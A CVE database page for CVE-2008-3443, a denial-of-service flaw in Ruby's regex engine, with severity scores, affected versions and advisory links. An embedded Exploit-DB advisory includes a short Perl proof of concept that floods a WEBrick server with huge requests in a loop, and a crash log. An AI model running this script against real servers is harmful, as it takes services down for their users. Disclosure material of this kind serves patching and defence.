CVE-2008-3443 : Detail

CVE-2008-3443

30.96%V4
Network
2008-08-14
21h00 +00:00
2018-10-03
18h57 +00:00
CVE.org
NVD
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CVE Descriptions

The regular expression engine (regex.c) in Ruby 1.8.5 and earlier, 1.8.6 through 1.8.6-p286, 1.8.7 through 1.8.7-p71, and 1.9 through r18423 allows remote attackers to cause a denial of service (infinite loop and crash) via multiple long requests to a Ruby socket, related to memory allocation failure, and as demonstrated against Webrick.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 6239

Publication date : 2008-08-12 22h00 +00:00
Author : laurent gaffié
EDB Verified : Yes

------------------------------------------------------- Language : Ruby Web Site: www.ruby-lang.org Platform: All Bug: Remote Socket Memory Leak Products Affected: 1.8 series: - 1.8.5 and all prior versions - 1.8.6-p286 and all prior versions - 1.8.7-p71 and all prior versions 1.9 series - r18423 and all prior revisions Confirmed by the vendor: Yes Patch available : Yes ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Credits =============== 1) Introduction =============== "A dynamic, open source programming language with a focus on simplicity and productivity. It has an elegant syntax that is natural to read and easy to write." ======= 2) Bug ======= Ruby fails to handle properly the memory allocated for a socket So when you send ~ 4 big request to a ruby socket, ruby will go in infinite loop, and then crash. The bug reside in the regex engine (in regex.c). ================== 3)Proof of concept =================== This poc is an exemple for Webrick web server crap.pl : #!/usr/bin/perl use LWP::Simple; my $payload = "\x41" x 49999999; while(1) { print "[+]\n"; get "http://127.0.0.1:2500/".$payload.""; } Result (Exemple on Webrick web server): [2008-07-11 22:39:55] INFO WEBrick 1.3.1 [2008-07-11 22:39:55] INFO ruby 1.8.6 (2007-09-24) [i486-linux] [2008-07-11 22:39:55] INFO WEBrick::HTTPServer#start: pid=13850 port=2500 [2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory /usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line' /usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse' /usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run' /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread' /usr/lib/ruby/1.8/webrick/server.rb:162:in `start' /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread' /usr/lib/ruby/1.8/webrick/server.rb:95:in `start' /usr/lib/ruby/1.8/webrick/server.rb:92:in `each' /usr/lib/ruby/1.8/webrick/server.rb:92:in `start' /usr/lib/ruby/1.8/webrick/server.rb:23:in `start' /usr/lib/ruby/1.8/webrick/server.rb:82:in `start' /home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch' script/server:62 [FATAL] failed to allocate memory root@audit:/home/audit# ===== 5)Credits ===== laurent gaffié laurent.gaffie{remove_this}[at]gmail[dot]com # milw0rm.com [2008-08-13]

Products Mentioned

Configuraton 0

Ruby-lang>>Ruby >> Version 1.6.8

    Ruby-lang>>Ruby >> Version 1.8.0

    Ruby-lang>>Ruby >> Version 1.8.1

    Ruby-lang>>Ruby >> Version 1.8.1

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

        Ruby-lang>>Ruby >> Version 1.8.5

        Ruby-lang>>Ruby >> Version 1.8.5

          Ruby-lang>>Ruby >> Version 1.8.5

            Ruby-lang>>Ruby >> Version 1.8.5

              Ruby-lang>>Ruby >> Version 1.8.5

                Ruby-lang>>Ruby >> Version 1.8.5

                  Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                      Ruby-lang>>Ruby >> Version 1.8.5

                        Ruby-lang>>Ruby >> Version 1.8.5

                          Ruby-lang>>Ruby >> Version 1.8.5

                          Ruby-lang>>Ruby >> Version 1.8.5

                          Ruby-lang>>Ruby >> Version 1.8.5

                          Ruby-lang>>Ruby >> Version 1.8.5

                          Ruby-lang>>Ruby >> Version 1.8.5

                          Ruby-lang>>Ruby >> Version 1.8.6

                          Ruby-lang>>Ruby >> Version 1.8.6

                            Ruby-lang>>Ruby >> Version 1.8.6

                              Ruby-lang>>Ruby >> Version 1.8.6

                                Ruby-lang>>Ruby >> Version 1.8.6

                                  Ruby-lang>>Ruby >> Version 1.8.6

                                    Ruby-lang>>Ruby >> Version 1.8.6

                                      Ruby-lang>>Ruby >> Version 1.8.6

                                      Ruby-lang>>Ruby >> Version 1.8.6

                                      Ruby-lang>>Ruby >> Version 1.8.6

                                      Ruby-lang>>Ruby >> Version 1.8.7

                                      Ruby-lang>>Ruby >> Version 1.8.7

                                      Ruby-lang>>Ruby >> Version 1.8.7

                                      Ruby-lang>>Ruby >> Version 1.8.7

                                      Ruby-lang>>Ruby >> Version 1.8.7

                                      Ruby-lang>>Ruby >> Version 1.8.7

                                      Ruby-lang>>Ruby >> Version 1.8.7

                                      Ruby-lang>>Ruby >> Version 1.8.7

                                      Ruby-lang>>Ruby >> Version 1.9.0

                                      Ruby-lang>>Ruby >> Version 1.9.0

                                        References

                                        http://secunia.com/advisories/31430
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        https://usn.ubuntu.com/651-1/
                                        Tags : vendor-advisory, x_refsource_UBUNTU
                                        http://secunia.com/advisories/33185
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.debian.org/security/2009/dsa-1695
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://support.apple.com/kb/HT3549
                                        Tags : x_refsource_CONFIRM
                                        http://www.securityfocus.com/bid/30682
                                        Tags : vdb-entry, x_refsource_BID
                                        http://securityreason.com/securityalert/4158
                                        Tags : third-party-advisory, x_refsource_SREASON
                                        http://secunia.com/advisories/35074
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://www.securitytracker.com/id?1021075
                                        Tags : vdb-entry, x_refsource_SECTRACK
                                        http://www.redhat.com/support/errata/RHSA-2008-0895.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://www.redhat.com/support/errata/RHSA-2008-0897.html
                                        Tags : vendor-advisory, x_refsource_REDHAT
                                        http://secunia.com/advisories/33398
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/32219
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        https://www.exploit-db.com/exploits/6239
                                        Tags : exploit, x_refsource_EXPLOIT-DB
                                        http://www.us-cert.gov/cas/techalerts/TA09-133A.html
                                        Tags : third-party-advisory, x_refsource_CERT
                                        http://www.vupen.com/english/advisories/2009/1297
                                        Tags : vdb-entry, x_refsource_VUPEN
                                        https://usn.ubuntu.com/691-1/
                                        Tags : vendor-advisory, x_refsource_UBUNTU
                                        http://secunia.com/advisories/32371
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/32165
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        http://secunia.com/advisories/32372
                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                        The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.